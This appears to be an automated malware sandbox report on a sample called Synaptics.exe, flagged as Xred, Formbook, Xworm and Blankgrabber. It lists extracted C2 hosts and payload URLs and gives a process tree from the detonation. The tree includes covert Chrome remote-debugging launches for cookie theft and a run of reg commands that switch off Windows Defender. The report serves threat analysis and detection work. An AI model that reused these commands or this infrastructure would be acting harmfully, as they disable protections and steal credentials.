Resubmissions
18/08/2026, 19:34
260818-x972xsygjb1002/07/2026, 09:19
260702-labnwsfs6z29/05/2026, 16:41
260529-t7a3mabx7l26/05/2026, 03:15
260526-dr1qcadz4y21/05/2026, 18:13
260521-wt38csgz711021/05/2026, 18:04
260521-wnpssagx3s1021/05/2026, 17:59
260521-wkpzdady5j1021/05/2026, 17:58
260521-wj9bmady2k21/05/2026, 17:58
260521-wj5y7sgv4v21/05/2026, 17:57
260521-wj2lsagv3zAnalysis
- max time kernel
1s - max time network
137s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
19/04/2026, 15:47
General
- Target Synaptics.exe
- Size 764KB
- Sample260419-s8fttses7k
- SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
Score
10/10
Malware Config
Extracted
Family
-
xred
C2
-
xred.mooo.com
Attributes
-
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
http://xred.site50.net/syn/SUpdate.ini
https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
http://xred.site50.net/syn/Synaptics.rar
https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
http://xred.site50.net/syn/SSLLibrary.dll
Extracted
Family
-
formbook
Version
-
3.9
Campaign
-
xx
Decoy
-
avricotprint.com
-
wiregalvanize.com
-
reapii.info
-
sungkhong.com
-
samakayadtb.com
-
zerofuchs.com
-
taxopark.biz
-
eatinginbangkok.com
-
cooleju.com
-
zensane.net
-
enviraogs.com
-
1stcentral-email.com
-
zylphyr.com
-
1zg0xq.info
-
buyercard.net
-
moom-intl.com
-
wcjcfj.com
-
boutiquevivace.com
-
zgluntai.com
-
bkddpec.com
Extracted
Family
-
xworm
Version
-
5.0
C2
-
ms-pupils.gl.at.ply.gg:42890
Mutex
-
xIgEZvOsUNiy7Htf
Attributes
-
Install_directory
%AppData%
-
install_file
svchost.exe
aes.plain
Signatures
- Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Family: Xred
Xred is backdoor written in Delphi.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Family: blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
- A stealer written in Python and packaged with Pyinstaller 1 IoCs
- Detect Xworm Payload 2 IoCs
- Formbook payload 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file
- Uses browser remote debugging 2 TTPs 14 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
- ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
- ASPack v2.12-2.42 1 IoCs
Detects executables packed with ASPack v2.12-2.42
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates new service(s) 2 TTPs
- Executes dropped EXE 2 IoCs
- Stops running service(s) 4 TTPs
- Themida packer 28 IoCs
Detects Themida, an advanced Windows software protection system.
- Adds Run key to start application 2 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
- SmartAssembly .NET packer 2 IoCs
Detects SmartAssembly .NET packer.
- UPX packed file 47 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 5 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 1 IoCs
Inno Setup installer
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Kills process with taskkill 5 IoCs
- Modifies registry class 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Files\up.exe"C:\Users\Admin\AppData\Local\Temp\Files\up.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1223.exe"C:\Users\Admin\AppData\Local\Temp\Files\1223.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\WxWorkMultiOpen.exe"C:\Users\Admin\AppData\Local\Temp\Files\WxWorkMultiOpen.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\self-injection.exe"C:\Users\Admin\AppData\Local\Temp\Files\self-injection.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\haozip.convertimg.exe"C:\Users\Admin\AppData\Local\Temp\Files\haozip.convertimg.exe"3⤵
-
C:\Program Files (x86)\HaoZip\HaoZipLoader.exe"C:\Program Files (x86)\HaoZip\HaoZipLoader.exe" -install02 0 74⤵
-
C:\Program Files (x86)\HaoZip\HaoZipLoader64.exe"C:\Program Files (x86)\HaoZip\HaoZipLoader64.exe" -reg5⤵
-
-
-
C:\Program Files (x86)\HaoZip\HaoZipLoader.exe"C:\Program Files (x86)\HaoZip\HaoZipLoader.exe" -statistics ;K054⤵
-
-
C:\Program Files (x86)\HaoZip\HaoZipUpdate.exe"C:\Program Files (x86)\HaoZip\HaoZipUpdate.exe" -install4⤵
-
-
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\center.exe"C:\Users\Admin\AppData\Local\Temp\Files\center.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CenterRun.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\CenterRun.exe5⤵
-
C:\Users\Admin\Documents\seetrol\center\SeetrolCenter.exe"C:\Users\Admin\Documents\seetrol\center\SeetrolCenter.exe"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\pm3100.exe"C:\Users\Admin\AppData\Local\Temp\Files\pm3100.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN7.exe"C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN7.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\365VPN7\365VPN7.exe"C:\Users\Admin\AppData\Local\Temp\365VPN7\365VPN7.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cmstp.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\.\cmstp.exe 365VPN7.inf6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\TempSpoofer.exe"C:\Users\Admin\AppData\Local\Temp\Files\TempSpoofer.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"5⤵
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox6⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x110,0x114,0x118,0xec,0x11c,0x7ffc47f8c728,0x7ffc47f8c734,0x7ffc47f8c7407⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox6⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x114,0x118,0x11c,0xf0,0x120,0x7ffc47f8c728,0x7ffc47f8c734,0x7ffc47f8c7407⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1776,i,4590833136097446998,2864939196039362310,262144 --field-trial-handle=2000,i,5119723912651405965,2822082087195821631,262144 --variations-seed-version=20260419-030044.020000-production --mojo-platform-channel-handle=1996 /prefetch:27⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2044,i,3218614213322431137,5208448297693476917,524288 --field-trial-handle=2000,i,5119723912651405965,2822082087195821631,262144 --variations-seed-version=20260419-030044.020000-production --mojo-platform-channel-handle=2004 /prefetch:37⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2188,i,8555608558352719483,14045232298144671419,524288 --field-trial-handle=2000,i,5119723912651405965,2822082087195821631,262144 --variations-seed-version=20260419-030044.020000-production --mojo-platform-channel-handle=2020 /prefetch:87⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2948,i,13633538314259267791,14103139955414657002,2097152 --field-trial-handle=2000,i,5119723912651405965,2822082087195821631,262144 --variations-seed-version=20260419-030044.020000-production --mojo-platform-channel-handle=2952 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2960,i,1871795102083690155,16508693672031839919,2097152 --field-trial-handle=2000,i,5119723912651405965,2822082087195821631,262144 --variations-seed-version=20260419-030044.020000-production --mojo-platform-channel-handle=2956 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4192,i,12549618419120643988,11088655186795436076,2097152 --field-trial-handle=2000,i,5119723912651405965,2822082087195821631,262144 --variations-seed-version=20260419-030044.020000-production --mojo-platform-channel-handle=4128 /prefetch:17⤵
- Uses browser remote debugging
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox6⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x114,0x118,0x11c,0xf0,0x120,0x7ffc47f8c728,0x7ffc47f8c734,0x7ffc47f8c7407⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1680,i,1086629080338659317,14448512352517830979,262144 --field-trial-handle=1996,i,2304805770117372676,11573159163445404633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1992 /prefetch:27⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=1568,i,17566725628352677052,13104324874236161048,524288 --field-trial-handle=1996,i,2304805770117372676,11573159163445404633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2000 /prefetch:37⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2204,i,18156853964704944108,16271644420326586043,524288 --field-trial-handle=1996,i,2304805770117372676,11573159163445404633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2080 /prefetch:87⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2880,i,18115100409825014325,1817403367117269688,2097152 --field-trial-handle=1996,i,2304805770117372676,11573159163445404633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2888 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2912,i,14787553110394015940,1664219816391535973,2097152 --field-trial-handle=1996,i,2304805770117372676,11573159163445404633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3604 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4068,i,14586272800997752536,11386443452141436690,2097152 --field-trial-handle=1996,i,2304805770117372676,11573159163445404633,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4060 /prefetch:17⤵
- Uses browser remote debugging
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox6⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x114,0x118,0x11c,0xf0,0x120,0x7ffc47f8c728,0x7ffc47f8c734,0x7ffc47f8c7407⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe6⤵
- Kills process with taskkill
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox6⤵
- Uses browser remote debugging
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x114,0x118,0x11c,0xf0,0x120,0x7ffc48efc728,0x7ffc48efc734,0x7ffc48efc7407⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1768,i,13795510551108155308,7523499317564618500,262144 --field-trial-handle=2096,i,4868491527517836204,2416144686879498656,262144 --variations-seed-version --mojo-platform-channel-handle=2092 /prefetch:27⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1620,i,16574089697741713474,5671193615031787436,524288 --field-trial-handle=2096,i,4868491527517836204,2416144686879498656,262144 --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:37⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2208,i,7120848933292060581,16165531657078874959,524288 --field-trial-handle=2096,i,4868491527517836204,2416144686879498656,262144 --variations-seed-version --mojo-platform-channel-handle=2120 /prefetch:87⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2944,i,3834509762650848440,7974831663212841632,2097152 --field-trial-handle=2096,i,4868491527517836204,2416144686879498656,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2968,i,2771220377889328837,15481799867044488969,2097152 --field-trial-handle=2096,i,4868491527517836204,2416144686879498656,262144 --variations-seed-version --mojo-platform-channel-handle=2972 /prefetch:17⤵
- Uses browser remote debugging
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4180,i,14606503284625083397,14217054125412995223,2097152 --field-trial-handle=2096,i,4868491527517836204,2416144686879498656,262144 --variations-seed-version --mojo-platform-channel-handle=4192 /prefetch:17⤵
- Uses browser remote debugging
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\GMSSetupX86.exe"C:\Users\Admin\AppData\Local\Temp\Files\GMSSetupX86.exe"4⤵
-
-
-
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding1⤵
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
-
C:\Windows\SysWOW64\Files\LOIC.exe"C:\Windows\System32\Files\LOIC.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\chrome_144.exe"C:\Windows\System32\Files\chrome_144.exe"3⤵
-
C:\ProgramData\Qiqu\Taje.exe"C:\ProgramData\Qiqu\Taje.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\EBwp1j9\dhqX1AO\1.bat"5⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableLocalAdminMerge" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRawWriteNotification" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableBehaviorMonitoring" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIntrusionPreventionSystem" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIOAVProtection" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableOnAccessProtection" /t REG_DWORD /d "0" /f6⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableRealtimeMonitoring" /t REG_DWORD /d "0" /f6⤵
-
-
